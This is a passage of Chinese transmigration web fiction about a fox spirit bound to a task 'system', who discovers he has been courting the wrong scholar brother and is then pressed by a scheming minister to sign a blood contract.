烛光在胡离净脸上晃动,上挑的眉与带了点笑意的眼还有看到高兴处翘起的唇,他着迷的盯着看,一直倚靠在那里看书的胡离净突然动了下, 他做贼心虚一样赶紧坐直抱起书欲盖弥彰的挡住眼睛,一时半会儿没受到胡离净不悦的目光于是慢慢把书放下一看。 那盏烛台被拿至眼前,胡离净另一只手拿着一个铜剪仔细剪烛芯,暗下来的光被剪了几下烛芯再次明亮起来,随着他动作缓慢跳动的烛火稳定下来,他正打算把烛台放回原位,往下一瞥就看见刚才还在那里温书的齐青寄已经蹲着压住他一半衣服趴在了床边。 本来就明亮的眼睛被亮起来的烛光一照更是有两点光在眼里晃啊晃,对方侧脸上沾了已经干涸的墨迹,他压着胡离净的衣服,“还看书吗?” 胡离净扫了眼桌上熄灭的烛台意味不明,“你不看了?” “不看了。” 胡离净把烛台往桌上一放,“那我也不看了,睡吧。” 齐青寄好像就在等胡离净这一声睡吧,顺势抓住胡离净放完烛台要往回收的手抓住用脸蹭了蹭,边蹭边抬眼观察他的反应,确定没有什么不悦的目光和排斥的反应就更加得寸进尺的用鼻尖蹭了蹭手背,他蹭了好一会儿不肯停也不肯上床睡觉,磨蹭着动作极其不自然又飞快的用嘴唇蹭了下。 “你真漂亮。” 他实心实意夸赞完一溜烟从床脚溜上床飞快躺下用背对着胡离净,沾着墨的那一边正好朝上,耳朵也红的要命。 胡离净动作顿了顿,垂下眼瞟了下被他用嘴唇‘亲’了下的那一小片地方,手指略显不自在的抓握了几下。 很奇异的,他难得的没有升起什么类似排斥的情绪,或许是对方借着蹭来完成一个不算亲吻的贴有些好笑,或许是大胆里带了些胆怯羞涩的动作让人难以厌恶,又或许是这里边并不像他以前所见过的那些包含占有、欲念的情绪,总之不管出于什么,他并不讨厌。 他不动,齐青寄也僵硬着身体躺着装睡。 乱七八糟的想法在他脑子里转了一圈,那个话本在手里被揉捏来揉捏去,996又冒出来,在半空中飞舞的动作也显出一点着急。 【宿主呀宿主,现在的完成度只有7%啊。】996深刻反思或许陆则做的还不错,至少前期没崩的时候数值相当的高,这个宿主看似乖乖的做了这么久任务,结果只有7%???? 撒把米让鸡啄都比这分高吧? 这分实在低的离谱,更像是出了bug,它递交了无数次自查也显示结果正常,996实在没招了,甚至开始怀疑是不是宿主最开始不肯砰砰砰搞的分低,甚至现在就想建议宿主现场砰砰砰一个。 ‘呼——’ 放在桌上的最后一个烛台被胡离净吹灭,黄色的灯泡对上一双在黑夜里散发着绿光的属于狐狸的眼睛,刚才想让宿主砰砰砰的勇气一下子消失了,它嗫嚅了会儿,【……宿主你亲一下他吧。】 …… 万分紧张侧躺着的齐青寄身体都僵了,他能看到屋里的光灭掉却没听见胡离净睡下的声音,只好僵着身体坚持着不动,耳朵依旧烫的厉害,他正侧耳听胡离净的动作,只听到一点轻微细小的类似躺下的声音,正想回头悄悄看一眼,一双微凉的手就落在他侧脸。 那双手的主人无疑是就是胡离净,正在慢又细致的用指腹蹭着,齐青寄只觉得被碰过的地方都火烧火燎起来,连装睡都忘了扭头去看,不期然对上一双发光的眼睛。 齐青寄:“???” 他整个人都呆了,胡离净居高临下一边摩挲他的侧脸一边看他脸上的表情,只见齐青寄表情呆滞还没忘抓住胡离净的手腕自食其力的蹭来蹭去,又趁乱亲了几下才开口,“你的眼睛?” 他面无表情,“我体质特殊,眼睛能自己控制,会发光,你不会嫌弃我吧?” “怎会!”齐青寄恨不得现在蹦起来舞几下给胡离净大表忠心,“虽然从未听说过,但世上人多了去了,不管如何哪怕是六指多耳也是个人的造化,更何况是双会发光的眼睛。” 黑暗中他看不清胡离净满意的笑了下,又故作疑惑的询问,“你亲我手干什么?” “啊……”齐青寄脸又红了,支支吾吾,“你摸我脸……” “这个啊。”胡离净收回手把指腹放在他面前,“你脸上沾上墨了。” 齐青寄:“???” “不过你不觉得脸很痛或者热么?”胡离净再次开口询问,“我蹭的有些用力。” 齐青寄:“???” 怪不得刚才胡离净摸完的地方都火烧火燎。 本来就火烧火燎的脸现在更加热起来,胡离净却不肯放过他继续问,“所以你亲我做什么?” 他脸红的厉害,写在信里奔放的话是一句也说不出来,他咳了好几声咬文嚼字,“实在是情难自己……” “情难自己?”胡离净点点头,“我懂了——”他把齐青寄曾经写在信里的话原封不动的说了出来,“你实在爱我,老天都看得见?” 齐青寄脸爆红,嗖了一下捂住整张脸,捂了会儿又反应过来这么漆黑的环境胡离净什么都看不到这才放下手点点头。 胡离净没说话,安静的齐青寄有点慌,于是他努力去适应周围的黑暗,感觉现在看的比刚才清楚多了,睁大眼睛去看胡离净脸上的表情,稍微能看清东西的眼睛很快又归为黑暗,等那点温热的鼻息喷洒在他脸上齐青寄后知后觉看不清是胡离净靠的过于近。 他紧张的要命,脑海里隐隐约约明白胡离净要干什么,觉得这个姿势又不太对,他跟胡离净该换一下才对。 饶是这么想他也不敢吭声,万一打断胡离净后悔不亲他了怎么办? 胡离净身上的香味直往他鼻子里钻,他又开始担忧自己身上简单的皂角味胡离净不喜欢怎么办,早知道也狠狠心花点银子买点香料回来熏一熏,只是到了现在说什么也没用,他悔的心直颤,等了会儿也没等到胡离净亲他。 他实在忍不住了,在原地实在等的揪心,赶紧用胳膊撑起身体把嘴撅起以保嘴能远远的就亲到胡离净,现在只恨自己嘴不够长。 死嘴! …… 胡离净本来都打算亲下去了,到半途又停下思考自己是真有点喜欢这个书生还是为了任务一闭眼亲一亲,思考了半天没想出个所以然,停在这儿也不是个事,于是试探着又往下走了点,只是稍微动了动就立马挨上了柔软湿润的东西。 胡离净懵了几秒,又往实压了压,触感很明显,齐青寄动作幅度也很大,不难感觉出他居然在撅嘴? 他感到点荒谬和好笑,也翘起嘴角笑了下,刚才贴住的嘴唇感觉到胡离净的嘴唇离它而去立马追上,试探着蹭了又蹭,又轻轻的很青涩的亲了下,胡离净没动,从嘴唇相贴里感知到一点他说不出的奇妙的东西。 齐青寄热腾腾的心好像通过嘴唇传递给他了一样,他的胸膛也热起来,犹豫着捏住了齐青寄的下巴。 这个动作给了齐青寄极大的鼓舞,他也不管自己能不能撑住身体,双手直接抱住胡离净的脸重重的亲,他没有可支撑的地方,胡离净被他拽的猛的一晃,感觉捞住他的脊背替他稳住身体,胡离净满脸麻木,觉得接吻跟他想的一点都不一样,嘴唇被撞的发麻,只觉得自己像个木头被啄木鸟用爪子抓住使劲敲来敲去。 齐青寄反倒越亲越高兴,一颗心越亲越热,恨不得此刻就大展宏图,他亲一下换一个地方,也没注意到胡离净到底有没有回应,自己是高兴了,高兴着高兴着被抱起来了。 齐青寄:“???” 他坐在胡离净腿上,嘴唇还贴着他的脸,犹豫着要不要打断,却在下一秒被揉了揉的时候彻底僵住了。 啄木鸟缓缓松开了树,开始兀自思考人生。 胡离净为什么要碰他屁股? 第33章 第三十三章 夭寿了 ‘吱呀——’ 一辆气派的马车缓缓停在正门, 小厮赶紧拿凳子放在马车下弯着腰等车里人出来,一老者身着大红色仙鹤官服,配白玉腰带, 目光矍铄有神,他拂开小厮的手自己下来,管家就迎了上来。 “大人, 齐青寄齐青奇二兄弟来了。” 李言普弹了下官服上沾上的灰,“来了多长时间了?” “得有一个多时辰了。” 老者先是嗯了声又问, “还等着?”得到了肯定的回答他又很不明显的笑了下,“年轻人倒是挺有耐性。” 这个叫齐青寄和齐青奇的他都听过, 兄弟两人似乎都是漳州有名的神童, 这个年纪就有这样的功名实在是了不得, 于是他前段时间就接了这二人的拜帖。 今日被皇帝留下用膳, 比往常下朝晚了半个时辰, 用了膳又颠簸着坐了一路马车, 他现在身体不大爽利,略微思考了会儿还是开口, “带他们去后面,厨房的饭好了吧?先招待客人吃饭。” * 胡离净跟着齐青寄还有那天在上面看见的书生甲一起到了这位李阁老的府邸, 从早上一直等到现在热起来也不见人影。 胡离净怀疑是这老登摆谱,三人里边他最放松, 坐累了就站起来走走,怎么舒服怎么来, 齐青寄对着他的时候尤为放松,总偷偷摸摸动手动脚,其余时候坐在那很唬人,而另一个书生甲从头到尾坐的很直一句话不说, 活像是有人在暗地里考察他似的。 他等了又等,在正厅里绕来绕去,几次路过门都想出去转转还是忍了下来,在不知道绕了多少圈后终于忍不住了,从里面抓住门一拽。 没拽动? 胡离净满心疑窦,疑心是不是被从外锁起来了,问题锁俩穷书生和一个狐狸精干什么,这么想着他再次使劲一拽,好像有人从外面同时拽一样,本来该轻松打开的门一动不动。 胡离净:“?” 胡离净吐出口浊气,往胳膊上蓄蓄力抓住一个门使劲一拽,这一下像是杀鸡用了牛刀,本来只打算割开喉咙放放血却一下子把整个头都剁了下来,门被猛的拽开一道暗蓝色的身影大叫一声手还抓着门闩跟着门往前倒,胡离净看见这张干瘪的橘子皮大惊,动作飞快往旁边一闪,下一秒,人影砸在地上扬起一阵黄尘,老管家哎呦哎呦不停的叫唤。 …… 本来带他们来后面吃饭的管家负伤回去躺着,三个人你看我我看你准备吃饭,胡离净没什么不好意思的感觉,早就饥肠辘辘先往嘴里塞了口饭跟齐青寄吐槽,“他在外面拽着门干什么,我还以为锁住了,力气那么大。” “对呀。”齐青寄深以为然,“他都不懂得让让你。” 胡离净:“?” 虽然我是比那个老管家年纪大,但是大可不必。 胡离净被齐青寄唯我独尊的思路深深震撼到,一声不吭继续低头扒饭了。 他之前不太喜欢吃肉,但自从套上这个狐狸精的壳子突然开始无肉不欢起来,一桌各种东西都是做的看不出来食材的素菜,理所当然的,他瞄准了桌上唯一一盘一眼看上去就是肉的,那盘肉看样子更像是现代用各种调味料裹出来垃圾食品,放在那里闻不到肉香而是各种调味料的味道。 那玩意儿刚被夹到面前胡离净整个狐狸的毛都炸了起来,最近控制得不错的耳朵和尾巴有些蠢蠢欲动的要冒出来,他直接扬手把那一筷子肉扔掉,一边齐青寄吓了一跳,书生甲也抬头打量胡离净又打量那盘除了胡离净还没人动过的肉。 齐青寄饭也不吃了,筷子一扔,“怎么了怎么了怎么了?” “狐狸肉。”他补充道,“狐狸精的肉。” 妖兽肉并不在普通人的桌上,拿妖兽肉来喂两个来拜访的举人抱什么打算,安的什么心? 齐青寄闻言直接站起来把那盘狐狸精肉端了老远,就差直接掀开窗户扔池塘里去了。 胡离净一下子不想吃饭了,合计自己今天或许不该跟齐青寄来这个阁老府,想来也是,当朝一品官员,官场浮沉几十年的老狐狸位高权重,现在妖兽横行,虽然大多数妖兽不敢来京城,可最危险的地方也是最有造化的地方,看似最安全的地方不知暗地里有多少猛兽,府里想必肯定有捉妖大能坐镇。 他今天不会被捉了吧? 这么突然一遭桌上剩下两人看着那些看不出材料的饭也不知道该不该进嘴,胡离净看了几眼确定都是素的率先拿起筷子夹菜,却没几口进嘴,“剩下都是素的。”在心里叫996,“这府里有捉妖师么?我不会今天就折这儿了吧?” 【当然不会,你可是主角后期斩掉的终极大boss。】 胡离净心还没放下就听996话锋一转,【不过你现在还是boss前期状态,想要成为后面那样当然是要经受磨练的,不过不会死就是了,放心吧。】 胡离净:“……” * 等彻底见到李言普李阁老已经是三柱香后,书房前守着两个三十岁左右佩刀的人,看着像是侍卫,胡离净的眼睛从刀鞘上滑过不动声色皱了下眉。 常人难以感知到,经常斩杀妖兽的刀上杀戮气和血腥气是洗不干净的,这种用过的刀也会被当镇宅宝放在家中对小妖起一个震慑的功能。 光门口就站着两个捉妖师,看不见的地方只会更多。 胡离净一进门就去打量站在案后的老者,鹰钩鼻,眼睛小而有光,看起来精神头很足,听到人进来的声音并不抬头,直到三个人停下这才抬眼笑了下,下一秒视线就落到了胡离净身上。 李言普似乎对拜帖上两个人来的却是三个人没什么疑惑,目光只在胡离净身上停留一秒就挪走,而后极其和善的笑了下,“我在京城就听到漳州有一双兄弟才华横溢,都是二十出头的年纪就考上了举人,如今一看果然是名不虚传啊。” 胡离净心里咯噔一下,连旁边这俩寒暄都不听了,满脑子都是兄弟二人,齐青寄说他是家中长子,那身边这个就是主角? 可主角不是捉妖么,怎么变成考科举了? 他用余光去打量两人,之前因为看习惯忽视了两人颇有些相像的样貌,现在知道两人是兄弟越看越像。 996倒是很淡定,给胡离净解释,【宿主淡定一点啊,如果真是本来该去捉妖的主角来考科举那就是世界线的问题,等我一会儿上报,如果核实的话星际总局会给我发三倍薪水,而宿主你直接无痛通关。】 说到最后996肯定及确定的总结,【这可是天大的好事啊。】 听996这么说胡离净稍微安心了一点,但也没有安心多少,按照往常他身上的事情总是以一个狗血的角度一发不可收拾的发展的经验来看,这事没这么简单。 这两人自我介绍一通李言普又笑着开口,“今日能见到也算是缘分,本来这次科举该是我担任考官,不过老了不中用了,干到一半生了场病给卸任了。”他把狼毫放下,“但这么一看这病生的不算坏,能提前见到各地来的才子也是缘分。” 李言普这话说的随意,底下这俩人谁敢这么随意的接话,官话说了一套又一套,上边李言普也看不出来满意还是不满意,脸上那点笑若有似无的,“我夫人也姓齐,漳州人,要是真这么论咱们还是一家呢。” 拉近关系的话往出一说气氛明显好了不少,两人都松懈了点,上边人下一句却让所有人都顿住了。 “今日的饭菜如何?” 自己府里做的什么菜他自己不清楚么?他这话意味不明,就连接话积极的书生甲都闭上嘴,眼看着周围安静到了极点气氛凝滞下来,一直游离场外不说话的胡离净突然开口,“我信佛,不食荤腥,菜都很好。” 胡离净的突然插话是李言普没想到的,他脸上表情有点古怪,感慨一般说了句这样啊,“那真是可惜了……”本来以为会继续发难的李言普轻飘飘揭过这茬,又让几人待了会儿就说自己累了送客。 齐青奇出来看着有点不安,忍到出了阁老府才抬头看齐青寄,“这是好还是不好?” 齐青寄也说不好,李言普把狐狸精的肉弄上来让几个人吃本来就动机不明,他不明白,也没法妄下定论,只是含糊其辞的摇了摇头,齐青奇见状也不再追问,自顾自的走着。 这两人的思考胡离净不算多么关心,现在离开阁老府他终于能问自己最感兴趣的问题,“他是你弟弟?” “啊。”齐青寄看了眼自己弟弟那张俊脸,又看看很感兴趣的胡离净拉着个脸,再思及青奇二十岁中举人而自己二十二岁才中,更加落了下乘,“对,我弟弟,齐青奇。” “你不是说你弟弟捉妖么。”胡离净追问。 “捉妖的弟弟是我小弟,叫齐青言,我有两个弟弟。” 胡离净:“???” 996:【???】 还真、还真认错了? 胡离净整个人呆若木鸡,996在耳边的尖叫就没停,不停的嚎叫夭寿了夭寿了。 所有他该勾搭的书生是齐青寄还是齐青奇? 真夭寿了…… 第34章 第三十四章 将错就错 996尖叫半天缓过劲赶紧给他出主意, 【宿主,你现在去勾搭勾搭弟弟看任务进度涨不涨,快去呀!】 胡离净:“我去勾搭现勾搭对象的弟弟?你们是正经机构么。” 【我们当然是呀!】996满心满眼都是任务, 继续催促胡离净,【宿主快呀快呀,伸脖子一刀缩脖子也是一刀, 早死早超生啊。】 胡离净深吸一口气,脸上勉强扬起一抹假笑, 动作僵硬的从齐青寄背后绕过去,“弟弟今年多大了?” 齐青奇一懵, 确定胡离净嘴里的弟弟就是问自己, 登时脸红了个彻底, 伶牙俐齿顿时不见踪影, 支支吾吾说出个二十, 他说完就收到了来自兄长的死亡视线, 这才后知后觉的反应过来眼前的大美人是他嫂子。 【涨了!涨了!】996大喊,【就是他, 他才是书生!】 胡离净整个人都不好了,他正呆着, 眼前的齐青奇突然伸手给自己啪啪两掌,连声道罪过罪过扶了扶帽子抬脚就跑, 他被齐青奇这一套搞的很懵,刚才还满是欣喜的996现在又像是天塌了一样, 【不是不是,怎么又掉回7%了?!】 胡离净:“???” 他不确定的看莫名其妙跑走的齐青奇,似有所感又回头一看一脸幽怨的齐青寄似乎明白了点什么,他幽幽开口, “人家都知道嫂子不可欺呢,你这任务完了。” …… 胡离净心情实在差劲,因为任务他算是豁出去了,嘴皮子都被齐青寄从里到外亲了一遍,虽然他也亲回去了吧,但这事应该不能这么算。 整半天对象搞错了,现在要让他重新去勾搭齐青寄的弟弟他干不来,干不来就要死,想想整个人生都黑暗了,他顿时失去了所有力气,整个狐狸都恹恹靠在床上。 齐青寄也很不痛快,心里想之前把任何长得俊的男子想方设法跟胡离净隔开果然是正确的选择,他心里骂骂咧咧除了他长得俊的果然都是骚狐狸精,骂了几句才想起把弟弟也骂了进去,干脆脑袋扎进书里不抬头了。 他躺了会儿,思考这任务要是完不成怎么个处理办法,把他送回原世界让他去死么? 要是不送回原世界只是解绑在这个世界当狐狸精也还行,至少活的久啊。 这么一想突然豁然开朗起来,胡离净状若无意,“那现在怎么办啊,你再跟总局反馈反馈?认错这事归根结底难道不是因为他们给的资料不够才导致的么,没有资料咱们跟个无头苍蝇似的到处乱转能找对才有鬼了。” 996很是纠结,【按照流程来讲是这本书里的书生太过边缘化,总局好像没什么错吧……】 “怎么会没错?”胡离净看起来很愤愤,“我倒是没什么,反正我已经死了一回,这命算是我白捡的,再活一次算我命好,任务不成功最后返回原世界死也就死了,你可不一样啊,你太无辜了,他们把你害惨了!” 996越听越有道理,想起自己失去了第一名也开始愤愤,【他们把我给害惨了!】 “对,就是这这样。”胡离净肯定它的话,“但是咱们毕竟是打工的,不管怎么着短时间也没法反天,那么当务之急就是怎么尽最大努力去补救这个任务让你的利益最大化啊。” 【你说的对。】996觉得自己遇到了伯乐,【当务之急是放弃齐青寄去攻略齐青奇,把任务做完再说,君子报仇十年不晚,等我当上领导……】 胡离净:“……” 胡离净没想到说了半天这个人渣系统还是试图去攻略齐青奇,忍了下才维持住脸上那点虚假的笑,“我觉得攻略齐青奇不是很可行,这齐青奇一看就是个君子,我现在是他嫂子,他怎么可能接受呢?” “况且你看刚才,任务进度明明就上涨了,但是齐青寄一看他他就跑了数值又跌了下来,从齐青奇这走明显行不通。” 【那怎么办……?】996整个统已经超负荷运转,马上就要罢工。 “依照我的意思——”胡离净游刃有余开口,“要么咱们就将错就错,齐青奇是书生,齐青寄也是书生,他俩都是主角的哥哥,这不都差不多么。” 【嗯……】996沉吟,它的职业生涯还是头一次遇到这种乌龙情况,于是也不是很确定到底可不可行,要不就照宿主说的去试试?大不了回去嘴硬嘛——反正都是书生都是哥哥,掏谁的心不是掏? 胡离净听见这声假惺惺哽咽了下,“不过有差错到底完成度高不了,最后完不成任务我死不要紧,不会连累到你的业绩吧?” 【你死不了。】996立马反驳,【宿主完不成任务只是不会给原先许诺的奖励,譬如你就回不去原世界,结算后我会跟你解绑,然后你就会自己留在这个世界里。】 哦——胡离净在心里哦了声,这么一看后续可以直接开摆,光脚的不怕穿鞋的,大不了就是回不去,待在这儿当个狐狸精也有几百年可活,总算听见自己想知道的消息也没兴趣继续跟996说口水话了,996难得遇到如此心系它志趣相投的宿主看起来大有一幅要与胡离净彻夜长谈大倒苦水的架势,胡离净直接捂着脑袋倒下了: “今天一波三折心情像是过山车一样上上下下实在要累死了。” 996是生怕如此志趣相投的宿主再累噶了,连连摆手让他赶紧睡,转眼就消失在胡离净面前。 996一走胡离净就坐直去看齐青寄,这人不像在看书,像是在撕纸,估计再坐一会儿自己就把自己气晕了,他在那毫不躲闪的看了会儿,从侧面看齐青寄的脸很符合审美线,眉骨鼻子衔接流畅自然,很好看。 他盯着看了会儿眼睁睁看着齐青寄以很不正常的频率开始疯狂眨眼还强装若无其事,本来埋头在书里现在抓着书越坐越直,胡离净福至心灵轻声叫他,“齐青寄?” 齐青寄不动。 “齐翁?” 齐青寄的耳朵动了动,很没有出息的飞快看了眼又把目光放回书上。 “……青寄?”胡离净撑着身体坐起来,“……夫君?” 齐青寄脸也不臭了,步伐也不沉重了,走的比谁都有劲的飞快的过来了。 胡离净:“……” 胡离净在心里冷冷一笑,真男人谁在意口头上这点输赢,先让你得意着。 齐青寄脸色十分荡漾,走到一半又飞快折返回去吹熄烛台,他不止脸上荡漾,心里也荡漾的要命,果然么,胡离净摸他屁股就是个人爱好吧,他都叫自己夫君了! 那么他身为夫君应该宽宏大量,至少对自己弟弟宽宏大量,他可是嫡嫡道道的正室,至于其他人还是不要脸的骚狐狸! 齐青寄就像没有骨头一样软绵绵躺在胡离净身上,在胡离净身上拱来拱去。 胡离净微微一笑,“你身上长虱子了吗,我帮你抓抓?是不是痒啊。” 齐青寄:“???” 齐青寄整个人石化了,像是个直僵僵的尸体,之前要是像在天上飘脚踩不到实处,现在就是被一根名为胡离净的棍棒一棒子打死了。 他呆若木鸡,实在不知道为什么胡离净会这么想,僵硬着身体思考了会儿又开始宽慰自己——胡离净不识字,那想必家里要么上不起私塾,要么不重视读书,那他说出身上是不是有虱子这种朴实的话也是情有可原了,胡离净这是在发自内心的关心他啊! 他越想越觉得有道理,根本把胡离净看了一堆爱情话本抛之脑后,选择性的利用信息,顿时抓住胡离净的手万分怜惜,“我会好好对你的。” 胡离净:“???” 他实在不懂齐青寄每天都在想什么,虽然那句是不是有虱子的话是故意说出来煞风景的,但说完他还真在思考齐青寄天天跟狐狸精睡在一起不会真的有虱子吧。 狐狸可能有虱子,狐狸精有么? 意识到自己的思维犹如脱缰的野马一发不可收拾的往一个奇怪的地方走胡离净赶紧打住,再次思考自己是不是太闲了才没事干想这些有的没的。 把自己调节好的齐青寄高兴了,脱了外衣往被子里一钻,身边细细碎碎的声音消失了好一会儿都没再有别的动静,就在胡离净怀疑他是不是也睡着的时候——“我与我弟弟孰美?” 这么一道幽幽的声音带着热气从胡离净的耳朵钻进脑子,热气往耳朵里一吹痒的很,他打了个哆嗦,“你美!” 得到回答的齐青寄尤不满意,掰着胡离净的脸让他对准自己,“书里都说了——吾妻之美我者,私我也。[1]”他追问胡离净,“你睁开眼看着我,真的是我美?” 胡离净一边肯定他最美一边睁眼睛,眼睛还没完全睁开就被齐青寄按住了,他连连哎呦,“哎呦哎呦,快闭上,眼睛怎么又在发光,发光真的对眼睛好么?” 胡离净:“……” 谢谢,因为我是妖怪。 眼睛被强硬捂住他干脆直接闭上,齐青寄也不追问什么孰美不孰美的了,手在被子里摸索着想摸胡离净的手,下一秒却摸上了一条蓬松又柔软顺滑的东西,他满脑子问号,沿着这玩意儿来回摸了摸又捏了捏,感觉外面是毛里面是根、棍子? 他不确定的想,又来回摸了几遍问胡离净,“被子里这是什么?” 尾巴?棍子?裹着毛的棍子? 怎么可能呢,齐青寄干巴巴哈哈两声。 一定是棍子! 第35章 第三十五章 八尾 胡离净神态自然, “鸡毛掸子啊,怎么了?” “哦!”齐青寄用力哦了声开始笑,“怪不得呢, 我说怎么毛茸茸的,原来是鸡毛掸子啊。” 他躺好忍了又忍还是没忍住,“但是你为什么抱着鸡毛掸子睡觉?” “我喜欢啊。”胡离净实在太过自然, 甚至自然到让齐青寄怀疑自己是不是太大惊小怪。 ……抱着鸡毛掸子睡觉也很正常吧,毕竟谁还没点什么爱好, 他没忍住又伸手进去摸了摸,刚才还放在两个人中间的鸡毛掸子不翼而飞了, “诶?鸡毛掸子呢?” “我扔了。”胡离净张嘴就是胡说, “看你刚才的样子不是很喜欢这个鸡毛掸子。” “这、这倒也不必。”齐青寄一想胡离净因为自己舍弃了睡觉抱鸡毛掸子的习惯又感动起来, 把胡离净的手从被子里拽出来往心上一捧再次信誓旦旦保证, “我会对你好的!” “春闱马上就到, 等我考个好功名回来就娶你把你写进族谱!” * 眼见着春闱马上开考, 本来就颇为用功的齐青寄现在更加用功起来,胡离净睡他在看书, 胡离净早上醒来他也在看书,这春闱对古代举人那是一等一的大事, 齐青寄现在在他眼里就是个考公的学生,反正任务也不着急胡离净把任务先放一边, 他觉得自己待在房里有打扰齐青寄的嫌疑,干脆总在外面逛, 把里边空间全让给齐青寄温书用。 他在外面坐着,996也总出来跟他说话解闷,一人一统根据少的可怜的剧情开始推理齐青寄这个在书里压根没有出现过的长兄到底扮演什么角色,为什么没有出现过, 死了还是怎么着? 996:【我把剧情出现的偏差递交给总局让他们查了,肯定能查出个所以然来,但是这种任务世界里小bug就是不重要的一部分,查这个效率不会高,得等。】 胡离净就没指望什么外力来帮他,闻言也并不失望,“你说齐青寄是什么漳州神童,看起来很有可能能拿个好名次,按理说这种角色设定,还是主角的哥哥肯定会被提起,那为什么书里没有出现过他。” 996摇头,【一般情况来说书里没有提及的东西和人都是世界线自动补充的,但是这么个人设也却是不像自动补充的背景板……】 胡离净撑着下巴没吭声,他回到胡家后家里边大概为了在外人面前好看给了他一家公司,他接手的第一家公司是个拍短剧的小破公司,整个公司上下员工都没几个,他甚至自己亲自上手改过剧本。 照他改剧本的经验和博览各种狗血书籍来看这种与主角密切相关的人设在书中没有着墨不外乎两种可能,一种就是齐青寄这人死了,但死的不光彩也不占理,第二种就是这个齐青寄真考了不错的名次但在官场上不算善人。 但不论是第一种还是第二种唯一的特点就是齐青寄这个人绝对跟善搭不着边,换句话说也就是不符合主角向善正气的阵营,写出来不仅不能丰满主角的人设反倒会造成反噬的、会遭到批判与质疑的具有争议性的人物。 他改小成本网剧的时候是绝对要避开这种争议性的、做过恶的人设,毕竟就是个小成本剧,哪有抗风险能力去创造这么一个可能会被冲的人物? 胡离净正在那里兀自思考,身后一道目光却径直锁定了他,这目光里不含多少恶意,但身上应该配着不知道斩杀了多少妖物的散发着煞气的刀,敏锐的感知让他顿时如芒在背,宽松的衣服极大的遮盖了他的细微动作,原本很放松的身体紧绷起来。 他没有轻举妄动,手里捏着个杯子坐着,本来不急不缓的人快走几步,那把拿在手里的刀就稳稳压在了胡离净的肩膀上。 胡离净笑了下,伸手按住刀鞘往外一推,“不是,这是干什么……?” 虽然刀未出鞘已足够吸引周围人的注意,来人看起来很年轻,也笑了下收回刀,“我这人走的慢,看你有离开的意思,只好先拿刀拦一下了,是有点不妥。” “认错人了吧?”胡离净放下杯子,“我并不认识你,平头百姓出来喝个茶被刀架肩膀上,谁还敢在外面坐着啊。” 年轻人并不回答这个,把刀抱回怀里示意了下,“您请吧。” * 胡离净猜想过或许就是李言普,也猜测过或许会偷偷让他从后门进去,或者在其他什么地方见他,却万万没想到居然让他光明正大的从正门进阁老府。 事出反常必有妖,他又多了层防备,“996,出来,这个李言普什么货色?” 【烂货色。】996飘在附近跟他一起走,【权臣又是奸臣,书里主要是捉妖那部分,朝堂随便提了几嘴,总之就是在玩弄权术这么个人。】 996似乎看出了他的顾虑,开口安抚,【但是这个人年纪这么大,无儿无女又没人能继承他的衣钵,按照书里的时间差不多三四年以后就病死了。】 胡离净并没有被宽慰到,“是,他三四年以后病死,但是他现在就能让我死。” 胡离净越走越觉得眼前的景色熟悉,似乎那天跟齐青寄齐青奇两兄弟来的时候就走过这里,进入前厅时彻底确定了,那年轻人带着他走,七扭八拐到了正厅,一进去就看见桌上摆着七八道菜,李言普正坐在一侧把玩佛珠。 把人带到年轻人朝李言普行了个礼就退出去,这位看起来精神头极好的老人朝站在那不动的胡离净招手,“来,上次听下人说桌上荤腥你没有动过,这次特地差人做了这一桌,来尝尝。” 桌上七八个菜跟上次做的华丽至极看不出原材料不大一样,胡离净打量一圈,鸡肉、兔子还有青蛙一些肉类。 胡离净:“……” 这不都是狐狸食谱里的东西么。 他拿着筷子夹了点鸡肉,对面李言普也不吃,只是笑着看他。 那点鸡肉塞进嘴里胡离净就放下了筷子,“很不错。” “不错就多吃点。”李言普说,“其余菜你应该也爱吃。” 胡离净却不动筷了,打算直接打开天窗说亮话,“不知道李大人今日叫我来……” “这个啊。”李言普也用筷子夹了点鸡肉送进嘴里跟他闲聊一样的说话,“上次在书房一见你就觉得十分惊讶,活这么大岁数,上一次见你这样好颜色的还是二十几年前奉旨去琼州捉鲛人,见到一条——”他说到这儿顿了顿,似乎在回想,“不过那鲛人却比不上你。” 胡离净被橘子皮这么夸脸都青了,放在桌下的拳头已经攥紧随时准备给李老登一拳让他赶紧去上西天。 不对,上什么西天,这老橘子皮也配? 他似乎完全没注意到胡离净铁青的脸色,动作不紧不慢放下筷子再次注视着他微笑,似乎在真情实意的感慨,“这样的好颜色实在不像是凡人能生出来的。” 木凳被猛的推后发出刺耳的声音,刚才还好好坐着的胡离净已经站了起来,只是他站起来的瞬间一直藏匿在周围的人立马现身,密密麻麻的弓箭全都瞄准了他。 “诶——”李言普摆手示意他们退下,“不要这么激动,坐下,坐下再说。” “您想干什么?”胡离净没坐,“您要是想拿我一个小小狐妖很容易吧。” “话何必说的这么难听。”挑明身份李言普也不在这儿继续打哑谜,“狐狸精可是祥瑞,我又怎么会拿你?” “狐狸精就是个妖兽,跟祥瑞搭不上边。”话说到这儿了胡离净干脆又坐了下来,“您要是觉得我是祥瑞可找错人了。” 李言普老神常在,“狐狸精不是祥瑞,可九尾狐是啊。” 胡离净先是一僵,然后又笑了,“我不是九尾,是八尾。” 李言普并不为他的话而感到犹疑,既然挑破他自然把胡离净摸了个彻彻底底,他起身在正厅走了几个来回,“你是八尾,可是天生八尾啊!” 一般狐狸成精只有一尾,修炼到头也不见得会长出第二条尾巴,长出几条尾巴跟努不努力修炼有关,但更多的是个人天生的造化。 而胡离净生来就有八条尾巴,离成祥瑞只差一尾,假以时日不见得不能再长出一条,在传说中九尾狐象征祥瑞和多子多福,甚至拥有预言、通灵等能力,当然,能集运给人延长寿命免病免灾只是其中最微不足道的一种能力。 胡离净:“……” “我身体不好了。”李言普说,“谁不想活得久一点,古代那么多皇帝前往蓬莱寻求长生不老药,又指派人炼丹以求长寿。”他说完哼笑了声,“他们不知道九尾狐的能力,就算知道也不见能遇到,这是运气。” 李言普并不担心胡离净拒绝,“你跟那个齐青寄是什么关系?他知道你是狐狸精?”他说完又叹息,“世人到底对妖有偏见,遑论妖与自己日日相对抵足而眠,谁不担心妖兽性大发掏了自己的心呢?” 他一招手,刚才给胡离净领路的年轻人端着个小盅进来了,小盅被掀开盖子放在胡离净面前,血腥气扑鼻而来。 “若是你跟我,我保你在京城中无人敢拿,哪怕你在京中吞吃人心我也为你兜底,修炼的资源京中随意你取用,哪怕你要皇帝的脑袋我也能摘下来。”他说,“同样的,齐青寄自然也官运亨通。” “谁不知妖兽不重约定忠义,光一张嘴我没法信你。”老者目光如炬,声音极重: “我要你立下血契!” 第36章 第三十六章 祸端 